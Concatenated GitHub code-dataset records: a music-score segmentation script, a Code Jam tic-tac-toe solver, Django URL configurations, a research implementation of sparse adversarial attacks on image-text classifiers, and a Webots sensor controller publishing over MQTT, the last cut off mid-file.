bar_index.append(0)\n # have_set_bar_index = True\n # beat = i.beat\n\n\n # note_list_no_symbol.append(i)\n bar_info_of_note.append(bar_count)\n\n if(unit_time > average_note_density or len(note_list) - unit_time < average_note_density):\n notes_before_bound = note_list[unit_time-average_note_density:unit_time]\n notes_after_bound = note_list[unit_time:unit_time+average_note_density]\n # print(notes_before_bound)\n # print(notes_after_bound)\n if any(isinstance(x, note.Note) or isinstance(x, chord.Chord) for x in notes_before_bound):\n if any(isinstance(x, note.Note) or isinstance(x, chord.Chord) for x in notes_after_bound):\n # if by_mean:\n notes_before,duration_before = get_segment_info(notes_before_bound)\n notes_after,duration_after = get_segment_info(notes_after_bound)\n coe_diff.append(run_find_segment(notes_before,duration_before,notes_after,duration_after))\n note_list_no_symbol.append(i)\n index.append(len(coe_diff))\n # else:\n\n\n\n\n # print(bar, \"yo\")\n\n print(\"In index :\", counter,\"note_num:\",len(note_list_no_symbol),\"algo_run_though\",len(coe_diff)+buffer,\"with total quater beat:\", increment_duration_list[counter] , type(i), i.pitches, i.beat, list(i.pitches)[0].nameWithOctave,slur_list[counter])\n\n\n\n # if unit_time >= 700:\n # break\n # index.reverse()\n fig = plt.figure(figsize=(80,9))\n label = []\n for i in index:\n if i % 5 == 0:\n label.append(i)\n plt.xticks(np.array(label))\n maxima = []\n maxima_note = []\n maxima_limit = []\n\n a = np.array(coe_diff)\n # maxima_list = np.r_[True, coe_diff[1:] > coe_diff[:-1]] & np.r_[coe_diff[:-1] > coe_diff[1:], True]\n maxima_index = signal.argrelextrema(np.array(coe_diff),np.greater)\n # maxima_index = maxima_index\n\n maxima_list = a[maxima_index]\n\n maxima_note_list = np.array(note_list_no_symbol,dtype=object)[maxima_index]\n\n print(\"maxima_note_list:\",len(maxima_note_list),maxima_index)\n # for index,maxima_note in enumerate(maxima_note_list):\n # print(maxima_note,bar_info_of_note[index])\n maxima_count = 0\n # for i in note_list_no_symbol:\n # temp = \"\"\n # print(i,maxima_note_list[maxima_count])\n # if i is maxima_note_list[maxima_count] and maxima_count < len(maxima_note_list)-1:\n # for j in list(i.pitches):\n # temp += j.nameWithOctave + \" \"\n # maxima_note.append(temp)\n # maxima_count += 1\n # else:\n # maxima_note.append(\"\")\n # maxima_count = 0\n counter = 0\n for i in coe_diff:\n temp = \"\"\n if i == maxima_list[maxima_count] and maxima_count < len(maxima_list)-1:\n maxima_count += 1\n maxima.append(i+0.1)\n print(\"diff and pitch is\",i,note_list_no_symbol[counter].pitches,counter)\n for j in list(note_list_no_symbol[counter].pitches):\n temp += j.nameWithOctave + \" \"\n maxima_note.append(temp)\n else:\n maxima.append(0)\n maxima_note.append(\"--\")\n maxima_limit.append(1/2)\n counter += 1\n\n # print(np.array(index[show_bound_l:show_bound_r]).shape,np.array(slur_list).shape,np.array(coe_diff[show_bound_l:show_bound_r]).shape)\n plt.plot(np.array(index[show_bound_l:show_bound_r]), np.array(slur_list[show_bound_l:show_bound_r]),data=None, marker=None, color='red')\n plt.plot(np.array(index[show_bound_l:show_bound_r]), np.array(dot_list[show_bound_l:show_bound_r]),data=None, marker=None, color='green')\n plt.plot(np.array(index[show_bound_l:show_bound_r]), np.array(maxima[show_bound_l:show_bound_r]),data=None, marker=None, color='black')\n counter = 1\n for x, y in zip(np.array(index[show_bound_l:show_bound_r]), np.array(maxima[show_bound_l:show_bound_r])):\n label = \"{:.2f}\".format(y) + \",\" + maxima_note[counter]\n\n plt.annotate(label, # this is the text\n (x, y), # this is the point to label\n textcoords=\"offset points\", # how to position the text\n xytext=(0, 1), # distance from text to points (x,y)\n ha='center') # horizontal alignment can be left, right or center\n counter += 1\n plt.plot(np.array(index[show_bound_l:show_bound_r]), np.array(maxima_limit[show_bound_l:show_bound_r]), data=None,\n marker=None, color='purple')\n plt.plot(np.array(index[show_bound_l:show_bound_r]),np.array(coe_diff[show_bound_l:show_bound_r]))\n #plot based on no. of note\n # plt.plot(np.array(bar_index).reshape(), np.array(coe_diff))\n #ploit based on no. of bar\n print(len(note_list))\n # print(coe_diff)\n plt.savefig(\"testgraph.png\")\n plt.show()\n return\n\n\ndef getMusicProperties(x):\n s = '';\n t='';\n s = str(x.pitch) + \", \" + str(x.duration.type) + \", \" + str(x.duration.quarterLength);\n s += \", \"\n if x.tie != None:\n t = x.tie.type\n s += t + \", \" + str(x.pitch.ps) + \", \" + str(x.octave) # + str(x.seconds) # x.seconds not always there\n return s\n\n\n\ndef main():\n piecepath = \"\"\n num = input('Input A for CEG,B for BA:')\n num2 = \"\"\n if num is 'A':\n # piecepath = \"../musicPiece/Polonaise_in_A_Major,_“Military_Polonaise”.xml\"\n # piecepath = \"../musicPiece/Minuet_in_G_Major.xml\"\n # piecepath = \"../musicPiece/Piano_Sonata_No._11.xml\"\n piecepath = \"../musicPiece/Prélude_in_G_Major.xml\"\n\n if num is 'B':\n piecepath = \"../musicPiece/Piano_Sonata_No._11.xml\"\n piecepath = \"../musicPiece/Prélude_in_G_Major.xml\"\n # piecepath = \"../musicPiece/Étude_in_C_Minor.mxl\";\n num2 = input('Choose 1 for first layer,2 for second layer,3 for third layer:'\n 'Update: At first run: effective h = 1, window_length = 2*average_note_density')\n num3 = input('length by mean or bar(M/B)')\n\n\n global rate, show_bound_l, show_bound_r,by_mean\n if int(num2) == 1:\n rate = 2\n show_bound_l = 1\n show_bound_r = 220\n elif int(num2) == 2:\n rate = 1\n show_bound_l = 1\n show_bound_r = 220\n elif int(num2) == 3:\n rate = 1/2\n show_bound_l = 1\n show_bound_r = 220\n if num3 is 'M':\n by_mean = True\n else:\n by_mean = False\n try:\n\n s = getMusicPiece(piecepath)\n if num is 'A':\n piece_path = \"../musicPiece\"\n for root, dirs, files in os.walk(piece_path):\n for filename in files:\n\n if filename.endswith('xml'):\n print(filename)\n sm = getMusicPiece(piece_path+'/'+filename)\n find_tonality_by_bar(sm)\n elif num is 'B':\n segment_analysis(s)\n else:\n print(\"Invalid Input!\")\n except converter.ConverterException as e:\n print(e)\n print(\"Error Reading Files\")\n\n\nif __name__ == \"__main__\":\n initialize()\n start = time.time()\n main()\n end = time.time()\n print(\"used time: \",end - start,\"second\")","repo_name":"hiiamarthur/KY2001-Automatic-Reduction-on-Chord-Indentification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23381796381","text":"import re\nimport sys\n\nlines = [\n [0,1,2,3],\n [4,5,6,7],\n [8,9,10,11],\n [12,13,14,15]\n]\n\ncolumns = [\n [0,4,8,12],\n [1,5,9,13],\n [2,6,10,14],\n [3,7,11,15]\n]\n\ndiagonal = [\n [0,5,10,15],\n [3,6,9,12]\n]\n\ndef score(table):\n winner = winner_is(table)\n if winner:\n return winner\n if has_moves(table):\n return 'Game has not completed'\n else:\n return 'Draw'\n\ndef get_moves(table):\n player_x = []\n player_o = []\n\n line = re.sub(r\"\\s\", \"\", table)\n assert len(line) == 16\n for i,l in enumerate(line):\n if l == 'T':\n player_x.append(i)\n player_o.append(i)\n if l == 'X':\n player_x.append(i)\n elif l == 'O':\n player_o.append(i)\n return (player_x, player_o)\n\ndef winner_is(table):\n px, po = get_moves(table)\n win_moves = lines + columns + diagonal\n for w in win_moves:\n if set(w) <= set(px):\n return 'X won'\n elif set(w) <= set(po):\n return 'O won'\n return False\n\ndef has_moves(table):\n return '.' in table\n\ndef report(case):\n m = re.match(r'^(\\d+)\\n', case)\n n = int(m.group(0))\n case = re.sub(r'^(\\d+)\\n', '', case)\n data = case.strip().split('\\n\\n')\n assert n == len(data), 'Error %d != %d' % (n, len(data))\n output = []\n for i,c in enumerate(data):\n output.append('Case #%d: %s' % (i+1, score(c)))\n return '\\n'.join(output)\n\ndef main(args, dry = False):\n if len(args) > 1:\n f = open(args[1])\n data = f.read()\n f.close()\n output = report(data)\n if dry:\n return output\n f = open(args[1] + '.output','w')\n f.write(output)\n f.close()\n\nif __name__ == '__main__':\n main(sys.argv)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/2290.py","file_name":"2290.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27253717700","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\n\nurlpatterns = [\n\n path('addteacher',views.addteacher1, name='loginpage'),\n \n path('addstudent', views.addstudent, name=\"addstudent\"),\n path('addstudent_registerd_cources', views.addstudent_registerd_cources, name=\"views.addstudent_registerd_cources\"),\n path('createteacher', views.createteacher, name=\"createteacher\"),\n path('addstudent1', views.addstudent1, name=\"addstudent1\"),\n path('addsubject', views.addsubject, name=\"addstudent\"),\n path('addsubject1', views.addsubject1, name=\"addstuden1t\"),\n\n \n]\n","repo_name":"pratikgosavii/School-College-management-portal","sub_path":"Studentportal/principle/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23562335731","text":"\r\ndef is_tidy(n):\r\n\tn_list = list(str(n))\r\n\tfor i in range(len(n_list) - 1):\r\n\t\tif int(n_list[i]) > int(n_list[i+1]):\r\n\t\t\treturn False\r\n\treturn True\r\n\r\n\r\nT = int(input())\r\nfor t in range(1, T+1):\r\n\tn = int(input())\r\n\twhile True:\r\n\t\tif is_tidy(n):\r\n\t\t\tprint(\"Case #{}: {}\".format(t, n))\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tn -= 1","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4691.py","file_name":"4691.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6504077336","text":"import numpy as np\n\nimport torch\nimport os\nimport pickle\nimport utils\nfrom transformers import BertTokenizer\nimport cv2\nfrom torch.autograd import Variable\nimport random\n\nclass Content_to_Replace(object):\n def __init__(self, modify_flag = 0,text_pos = None, image_pos = None, data = None, score = 0):\n '''\n modify_flag: [0 : synonym substitution, 1: mosaic]\n '''\n self.modify_flag = modify_flag\n self.text_pos = text_pos\n self.image_pos = image_pos\n self.data = data\n self.score = score\n \n def modify_benign_sample(self, adv_image, adv_text):\n if self.modify_flag == 0:\n adv_text[self.text_pos] = self.data\n elif self.modify_flag == 1:\n adv_image[:, self.image_pos[0]: self.image_pos[0] + self.data.shape[1], self.image_pos[1]: self.image_pos[1] + self.data.shape[2]] = self.data\n return adv_image, adv_text\n \n def judge_is_modify(self, ori_text):\n if self.modify_flag == 0 and ori_text[self.text_pos] == self.data:\n return False\n else:\n return True\n \n def change_back(self, ori_image, ori_text, adv_image, adv_text):\n adv_image, adv_text = adv_image.clone(), adv_text.copy()\n if self.modify_flag == 0:\n adv_text[self.text_pos] = ori_text[self.text_pos]\n elif self.modify_flag == 1:\n adv_image[:, self.image_pos[0]: self.image_pos[0] + self.data.shape[1], self.image_pos[1]: self.image_pos[1] + self.data.shape[2]] = ori_image[:, self.image_pos[0]: self.image_pos[0] + self.data.shape[1], self.image_pos[1]: self.image_pos[1] + self.data.shape[2]]\n return adv_image, adv_text\n\n\nclass SparseMA(object):\n def __init__(self, model, device, synonym_pick_way = 'embedding', synonym_num = 50, synonym_embedding_path='', synonym_cos_path = '', embedding_path = '', bert_dirname = '', max_seq_length = 64, batch_size = 32, is_bert = False, patch_side = 20, use_path = './aux_files',model_type=0):\n self.model = model\n self.device = device\n self.model_type = model_type\n \n self.synonym_dict = {}\n self.synonym_pick_way = synonym_pick_way\n self.synonym_num = synonym_num\n self.synonym_embedding_path = synonym_embedding_path\n self.synonym_cos_path = synonym_cos_path\n \n self.embedding_path = embedding_path\n self.max_seq_length = max_seq_length\n self.batch_size = batch_size\n self.is_bert = is_bert\n\n self.patch_side = patch_side\n \n \n # Prepare the synonym selection\n self.synonym_idx2word, self.synonym_word2idx = utils.load_embedding_dict_info(self.synonym_embedding_path)\n self.cos_sim = utils.load_cos_sim_matrix(self.synonym_cos_path)\n \n # Prepare the embedding for classifier\n self.idx2word, self.word2idx = utils.load_embedding_dict_info(self.embedding_path)\n\n if is_bert:\n self.tokenizer = BertTokenizer.from_pretrained(bert_dirname, do_lower_case=True)\n \n self.use = utils.USE(use_path)\n \n def attack(self, ori_image, ori_text, ori_label):\n utils.setup_seed(2022)\n log ={}\n query_number = 0\n ori_probs, prediction = self.query_model(ori_image, ori_text)\n if prediction != ori_label:\n log['classification'] = False\n return log\n \n ori_prob = ori_probs[ori_label]\n log['classification'] = True\n\n adv_image = ori_image.clone()\n adv_text = ori_text.copy()\n all_content_candidates, new_query = self.position_order_decision(ori_image, ori_text, ori_label)\n\n success = False\n adv_label = ori_label\n query_number += new_query\n replace_content_candidates = []\n image_perturb_unit = (self.patch_side * self.patch_side) / (ori_image.shape[1] * ori_image.shape[2])\n for content in all_content_candidates:\n probs = None\n if content.modify_flag == 0:\n pos = content.text_pos\n w = content.data\n if w in self.synonym_dict.keys():\n candidates = self.synonym_dict[w]\n else:\n candidates = self.replace_with_synonym_function(w)\n self.synonym_dict[w] = candidates\n\n candidate_word, max_score, new_query,probs = self.candidate_word_saliency_decision(adv_image, adv_text, pos, candidates, ori_label, ori_prob)\n query_number += new_query\n adv_text[pos] = candidate_word\n elif content.modify_flag == 1:\n height, width = content.image_pos\n all_image_list = []\n # white patch\n white_patch_img = self.color_mosaic(adv_image, height, width, self.patch_side, self.patch_side, 1)\n # black patch\n black_patch_img = self.color_mosaic(adv_image, height, width, self.patch_side, self.patch_side, 0)\n # white black patch\n white_black_mosaic_img = self.white_black_mosaic(adv_image, height, width, self.patch_side, self.patch_side)\n # all_image_list.append(mosaic_img)\n all_image_list.append(white_patch_img)\n all_image_list.append(black_patch_img)\n all_image_list.append(white_black_mosaic_img)\n logits_new, labels = self.query_model_group(all_image_list, [adv_text for _ in range(len(all_image_list))])\n query_number += len(logits_new)\n probs = logits_new.copy()\n logits_new = logits_new[:, ori_label]\n \n # consider the model output\n score = ori_prob - logits_new\n \n # consider the perturb unit\n score = score / image_perturb_unit\n \n max_score = np.max(score)\n candidate_image = all_image_list[np.argmax(score)]\n adv_image[:, height : height + self.patch_side, width: width + self.patch_side] = candidate_image[:, height : height + self.patch_side, width: width + self.patch_side]\n probs = probs[np.argmax(score)]\n \n replace_content_candidates.append(content)\n\n if probs is not None:\n prediction = np.argmax(probs,axis=-1)\n else :\n continue\n if int(prediction) != int(ori_label):\n # prediction alone\n probs, prediction = self.query_model(adv_image, adv_text)\n query_number += 1\n if int(prediction) != int(ori_label):\n success = True\n adv_label = prediction\n break\n\n log['status'] = success\n log['query_number'] = query_number\n if not success:\n return log\n \n # import pdb; pdb.set_trace()\n adv_image, adv_text, new_query = self.exchange_back(ori_image, ori_text, adv_image, adv_text, replace_content_candidates, ori_label)\n query_number += new_query\n \n log['adv_image'] = adv_image\n log['image_perturbation_rate'] = ((adv_image != ori_image).sum()/(ori_image.shape[0] *ori_image.shape[1] * ori_image.shape[2])).item()\n log['adv_text'] = ' '.join(adv_text)\n if len(adv_text) == 0:\n log['text_perturbation_rate'] = 0.0\n else:\n log['text_perturbation_rate'] = self.check_diff(ori_text, adv_text)/len(adv_text)\n log['adv_label'] = adv_label\n \n adv_image_sim = utils.ssim(ori_image, adv_image)\n adv_text_sim = self.use.semantic_sim([' '.join(ori_text)], [' '.join(adv_text)])[0][0]\n log['adv_image_sim'] = adv_image_sim\n log['adv_text_sim'] = adv_text_sim\n \n return log\n\n def position_order_decision(self, ori_image, ori_text, ori_label):\n query_number = 0\n probs, label = self.query_model(ori_image, ori_text)\n ori_prob = probs[ori_label]\n all_content_candidates = []\n all_scores = []\n \n image_perturb_unit = (self.patch_side * self.patch_side) / (ori_image.shape[1] * ori_image.shape[2])\n \n # decide the importance of each region in image\n candidates_images = []\n _, image_height, image_width = ori_image.shape\n for h in range(0, image_height, self.patch_side):\n for w in range(0, image_width, self.patch_side):\n unk_image = self.color_mosaic(ori_image, h, w, self.patch_side, self.patch_side, 0)\n candidates_images.append(unk_image)\n \n content = Content_to_Replace(modify_flag=1, image_pos=(h,w), data=unk_image[:, h:h+self.patch_side, w:w+self.patch_side])\n all_content_candidates.append(content)\n\n logits_news, labels = self.query_model_group(candidates_images, [ori_text for _ in range(len(candidates_images))])\n logits_news = logits_news[:, ori_label]\n query_number += len(labels)\n\n # consider the model output\n scores = ori_prob - logits_news\n\n # consider the perturb unit\n scores = scores / image_perturb_unit \n all_scores.extend(list(scores))\n \n \n if len(ori_text) == 0:\n indexes = np.argsort(np.array(all_scores))[::-1]\n all_content_candidates = np.array(all_content_candidates)[indexes]\n return all_content_candidates, query_number\n \n\n # decide the importance of each token in text\n candidates_texts = []\n for i, w in enumerate(ori_text):\n unk_text = ori_text.copy()\n if self.model_type >0:\n unk_text[i] = '[UNK]'\n elif self.is_bert:\n unk_text[i] = '[UNK]'\n else:\n unk_text[i] = ''\n \n candidates_texts.append(unk_text)\n\n # all_scores.append(score)\n content = Content_to_Replace(modify_flag=0, text_pos=i, data=ori_text[i])\n all_content_candidates.append(content)\n \n logits_news, labels = self.query_model_group([ori_image for _ in range(len(candidates_texts))], candidates_texts)\n logits_news = logits_news[:, ori_label]\n query_number += len(labels)\n\n # consider the model output\n scores = ori_prob - logits_news\n\n # consider the perturb unit\n scores = scores / (1/len(ori_text))\n \n all_scores.extend(list(scores))\n \n indexes = np.argsort(np.array(all_scores))[::-1]\n all_content_candidates = np.array(all_content_candidates)[indexes]\n\n return all_content_candidates, query_number\n\n\n\n def candidate_word_saliency_decision(self, ori_image, ori_text, idx, candidates, ori_label, ori_prob):\n text_perturb_unit = 1/len(ori_text)\n \n query_number = 0\n max_score = -100\n # min_prob = 1\n candidate_word = ori_text[idx]\n query_number += 1\n\n sentence_new_list = []\n for c in candidates:\n clean_tokens_new = list(ori_text)\n clean_tokens_new[idx] = c\n sentence_new_list.append(clean_tokens_new.copy())\n \n new_logits = None\n if len(sentence_new_list) != 0:\n logits_new, labels = self.query_model_group([ori_image for _ in range(len(sentence_new_list))], sentence_new_list)\n query_number += len(logits_new)\n new_logits = logits_new\n logits_new = logits_new[:, ori_label]\n \n # consider the model output\n score = ori_prob - logits_new\n\n # consider the perturb unit\n score = score / text_perturb_unit\n \n max_score = np.max(score)\n # max_diff = np.max(diff)\n candidate_word = candidates[np.argmax(score)]\n new_logits = new_logits[np.argmax(score)]\n # candidate_word = candidates[np.argmax(diff)]\n return candidate_word, max_score, query_number,new_logits\n \n\n def exchange_back(self, ori_image, ori_text, adv_image, adv_text, replace_content_candidates, ori_label):\n query_number = 0\n change_flag = list(range(len(replace_content_candidates)))\n # import pdb; pdb.set_trace()\n for i in range(4 *len(replace_content_candidates)):\n perturb_len = len(change_flag)\n if perturb_len == 1:\n break\n \n extract_index = random.choice(change_flag)\n content = replace_content_candidates[extract_index]\n change_adv_image, change_adv_text = content.change_back(ori_image, ori_text, adv_image, adv_text)\n \n probs, prediction = self.query_model(change_adv_image, change_adv_text)\n query_number += 1\n if prediction != ori_label:\n adv_image = change_adv_image\n adv_text = change_adv_text\n \n change_flag.remove(extract_index)\n\n return adv_image, adv_text, query_number\n\n\n def replace_with_synonym_function(self, word):\n # candidate_word_list,_ = utils.replace_with_synonym(word, 'nltk')\n candidate_word_list,_ = utils.replace_with_synonym(word, self.synonym_pick_way, idx2word= self.synonym_idx2word, word2idx=self.synonym_word2idx, cos_sim= self.cos_sim)\n candidate_word_list = candidate_word_list[:self.synonym_num+1]\n return candidate_word_list\n\n\n def query_model(self, image, text):\n if self.model_type > 0:\n input_ids = ' '.join(text)\n image = utils.norm_transforms(image)\n image = Variable(image.unsqueeze(0).to(self.device))\n samples = {\"image\": image, \"text_input\": input_ids,'label':0}\n if self.model_type==1: # albef\n output = self.model.predict(samples)\n probs = output['predictions'].data.cpu().numpy()\n \n elif self.model_type == 2: # clip_fusion\n output = self.model(samples)\n probs = output.data.cpu().numpy()\n probs = self._softmax(probs)\n label = np.argmax(probs, axis=-1)[0]\n elif self.is_bert:\n input_ids, input_mask, segment_ids = utils.convert_example_to_feature_for_bert(' '.join(text), self.max_seq_length, self.tokenizer)\n input_ids, input_mask, segment_ids = torch.tensor(input_ids), torch.tensor(input_mask), torch.tensor(segment_ids)\n input_ids, input_mask, segment_ids = Variable(input_ids.unsqueeze(0).to(self.device)), Variable(input_mask.unsqueeze(0).to(self.device)), Variable(segment_ids.unsqueeze(0).to(self.device))\n image = Variable(image.unsqueeze(0).to(self.device))\n output = self.model(image, input_ids, input_mask, segment_ids).data.cpu().numpy()\n # probs = self._softmax(output)\n probs = output\n label = np.argmax(probs, axis=-1)[0]\n else:\n input_ids, input_mask = utils.convert_example_to_feature_for_cnn(text, self.word2idx, self.max_seq_length)\n input_ids = torch.tensor(input_ids)\n image, input_ids = Variable(image.unsqueeze(0).to(self.device)), Variable(input_ids.unsqueeze(0).to(self.device))\n output = self.model(image, input_ids).data.cpu().numpy()\n # probs = self._softmax(output)\n probs = self._softmax(output)\n label = np.argmax(probs, axis=-1)[0]\n return probs[0], label\n\n def query_model_group(self, image_list, text_list):\n if self.model_type > 0:\n input_ids_list = []\n for text in text_list:\n input_ids = ' '.join(text)\n input_ids_list.append(input_ids)\n \n outs = []\n nbatch = (len(text_list) -1)// self.batch_size + 1\n for i in range(nbatch):\n image = image_list[i*self.batch_size:(i+1)*self.batch_size]\n input_ids= input_ids_list[i*self.batch_size:(i+1)*self.batch_size]\n image = torch.stack(image)\n image = utils.norm_transforms(image)\n image = Variable(image.to(self.device))\n samples = {\"image\": image, \"text_input\": input_ids,'label':0}\n if self.model_type==1: # albef\n output = self.model.predict(samples)\n output = output['predictions'].data.cpu().numpy()\n \n elif self.model_type == 2: # clip_fusion\n output = self.model(samples)\n output = output.data.cpu().numpy()\n probs = self._softmax(output)\n # probs = output\n outs.append(probs)\n \n probs = np.vstack(outs)\n label = np.argmax(probs, axis=-1)\n elif self.is_bert:\n input_ids_list, input_mask_list, segment_ids_list = [], [], []\n for text in text_list:\n input_ids, input_mask, segment_ids = utils.convert_example_to_feature_for_bert(' '.join(text), self.max_seq_length, self.tokenizer)\n input_ids_list.append(input_ids)\n input_mask_list.append(input_mask)\n segment_ids_list.append(segment_ids)\n outs = []\n nbatch = (len(text_list) -1)// self.batch_size + 1\n for i in range(nbatch):\n image = image_list[i*self.batch_size:(i+1)*self.batch_size]\n input_ids= input_ids_list[i*self.batch_size:(i+1)*self.batch_size]\n input_mask= input_mask_list[i*self.batch_size:(i+1)*self.batch_size]\n segment_ids= segment_ids_list[i*self.batch_size:(i+1)*self.batch_size]\n\n input_ids, input_mask, segment_ids = torch.tensor(input_ids), torch.tensor(input_mask), torch.tensor(segment_ids)\n image = torch.stack(image)\n image = Variable(image.to(self.device))\n input_ids, input_mask, segment_ids = Variable(input_ids.to(self.device)), Variable(input_mask.to(self.device)), Variable(segment_ids.to(self.device))\n \n output = self.model(image, input_ids, input_mask, segment_ids).data.cpu().numpy()\n # probs = self._softmax(output)\n probs = output\n outs.append(probs)\n\n probs = np.vstack(outs)\n label = np.argmax(probs, axis=-1)\n else:\n input_ids_list = []\n for text in text_list:\n input_ids, input_mask = utils.convert_example_to_feature_for_cnn(text, self.word2idx, self.max_seq_length)\n input_ids_list.append(input_ids)\n\n outs = []\n nbatch = (len(text_list) -1)// self.batch_size + 1\n for i in range(nbatch):\n image = image_list[i*self.batch_size:(i+1)*self.batch_size]\n input_ids= input_ids_list[i*self.batch_size:(i+1)*self.batch_size]\n input_ids = torch.tensor(input_ids)\n image = torch.stack(image)\n image = Variable(image.to(self.device))\n input_ids = Variable(input_ids.to(self.device))\n \n output = self.model(image, input_ids).data.cpu().numpy()\n # probs = self._softmax(output)\n probs = self._softmax(output)\n outs.append(probs)\n \n probs = np.vstack(outs)\n label = np.argmax(probs, axis=-1)\n\n return probs, label\n\n\n def color_mosaic(self, img, start_x, start_y, mask_w, mask_h, color): \n image = img.clone()\n for i in range(0, min(mask_h, 224 - start_x), 1):\n for j in range(0, min(mask_w, 224 - start_y), 1):\n image[:, start_x +i : start_x +i + 1, start_y+j:start_y + j + 1] = color\n\n return image\n \n\n def white_black_mosaic(self, img, start_x, start_y, mask_w, mask_h): \n image = img.clone()\n pixel = 1\n fill_pixel = [torch.tensor([216/255, 216/255, 216/255]), torch.tensor([165/255, 165/255, 165/255])]\n for i in range(0, min(mask_h, 224 - start_x)):\n row_pixel = pixel\n for j in range(0, min(mask_w, 224 - start_y)):\n image[:, start_x +i : start_x +i + 1, start_y+j:start_y + j + 1] = max(row_pixel, 0)\n row_pixel *= -1\n pixel *= -1\n\n return image\n\n def _softmax(self, x):\n orig_shape = x.shape\n if len(x.shape) > 1:\n _c_matrix = np.max(x, axis=1)\n _c_matrix = np.reshape(_c_matrix, [_c_matrix.shape[0], 1])\n _diff = np.exp(x - _c_matrix)\n x = _diff / np.reshape(np.sum(_diff, axis=1), [_c_matrix.shape[0], 1])\n else:\n _c = np.max(x)\n _diff = np.exp(x - _c)\n x = _diff / np.sum(_diff)\n assert x.shape == orig_shape\n return x\n\n\n def check_diff(self, sentence, perturbed_sentence):\n words = sentence\n perturbed_words = perturbed_sentence\n diff_count = 0\n if len(words) != len(perturbed_words):\n raise RuntimeError(\"Length changed after attack.\")\n for i in range(len(words)):\n if words[i] != perturbed_words[i]:\n diff_count += 1\n return diff_count\n \n\n ","repo_name":"JHL-HUST/SparseMA","sub_path":"adv_method/sparse_ma.py","file_name":"sparse_ma.py","file_ext":"py","file_size_in_byte":21388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"581695197","text":"\"\"\"treasure URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, re_path\nfrom . import views\nfrom django.contrib.admin.views.decorators import staff_member_required\n\nurlpatterns = [\n path('', views.go_home, name='go-home'),\n\n re_path('^level/[0-9]+$', views.level, name='level'),\n path('levels/', views.levels, name='levels'),\n path('search', views.search, name='search'),\n path('do-search', views.do_search, name='do-search'),\n path('nothing-here', views.nothing, name='nothing-here'),\n path('hint', views.hint, name='hint'), \n path('home', views.home, name='home'),\n path('map', views.map, name='map'),\n path('alt-map', views.alt_map, name='alt-map'),\n path('oops', views.oops, name='oops'),\n \n path('events', views.get_hunt_events, name='events'),\n \n path('mgmt', views.mgmt, name='mgmt'),\n path('hint-mgmt', views.hint_mgmt, name='hint-mgmt'),\n path('add-hint', views.add_new_hint, name='new-hint'),\n path('hint-release', views.do_release_hints, name='hint-release'),\n]\n","repo_name":"blue-llama/e-treasure-hunt","sub_path":"hunt/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34475106090","text":"\"\"\"sensor_controller controller.\"\"\"\n#Import the Supervisor\nfrom controller import Supervisor\nimport time\nfrom datetime import datetime\nimport paho.mqtt.client as mqtt\n#Import Device class from Sensor class\nfrom Sensors import Device\n#To use this class the Supervisor field of the robot must be true\n#Import Valves class\nfrom valves import Valves\n\nclass Sensor_publisher:\n \"\"\"Class to publish the sensors data collected from the environment on their respective\n mqtt topic\"\"\" \n def __init__(self):\n self.broker_url = \"broker.mqttdashboard.com\"\n self.broker_port = 1883\n self.pub_client = mqtt.Client()\n #self.pub_client.on_publish = self.on_publish\n #mqtt topics for publishing sensor data\n self.pub_topic_1 = \"/sensor/PH\"\n self.pub_topic_2 = \"/sensor/Temperature\"\n self.pub_topic_3 = \"/sensor/Humidity\"\n self.pub_topic_4 = \"/sensor/SoilMoisture\"\n #Connect to broker\n self.pub_client.connect(self.broker_url, self.broker_port)\n \n def on_publish(self,client, userdata, mid):\n \"\"\"Callback Function , it is called everytime when a message is published on the topc\"\"\" \n print(\"--- Published-------\")\n \n def PH_publish(self ,arg_message,arg_field):\n \"\"\"Function to publish PH value data\"\"\"\n self.pub_client.publish(topic=self.pub_topic_1+arg_field, payload=arg_message, qos=0, retain=False)\n \n def Temperature_publish(self ,arg_message):\n \"\"\"Function to publish Temperature data\"\"\"\n self.pub_client.publish(topic=self.pub_topic_2, payload=arg_message, qos=0, retain=False) \n \n def Humidity_publish(self ,arg_message):\n \"\"\"Function to publish Humidity data\"\"\"\n self.pub_client.publish(topic=self.pub_topic_3, payload=arg_message, qos=0, retain=False) \n\n def SoilMoisture_publish(self ,arg_message,arg_field):\n \"\"\"Function to publish Soil Moisture\"\"\"\n self.pub_client.publish(topic=self.pub_topic_4+arg_field, payload=arg_message, qos=0, retain=False) \n \n#Main Function \ndef main():\n #Initialise the robot\n robot = Supervisor()\n # get the time step of the current world.\n timestep = int(robot.getBasicTimeStep())\n \n #Initialise the Device class\n device = Device(robot)\n\n ########################\n #Initialise the Valves\n valve = Valves(robot)\n ####################\n \n #Initialise the senors\n #PH sensor\n PHsensor1 = device.get_Device('PH sensor1') #Field_1\n PHsensor2 = device.get_Device('PH sensor2') #Field_2\n #Enable\n PHsensor1.enable(timestep)\n PHsensor2.enable(timestep)\n \n #Moisture sensor\n MoistureSensor1 = 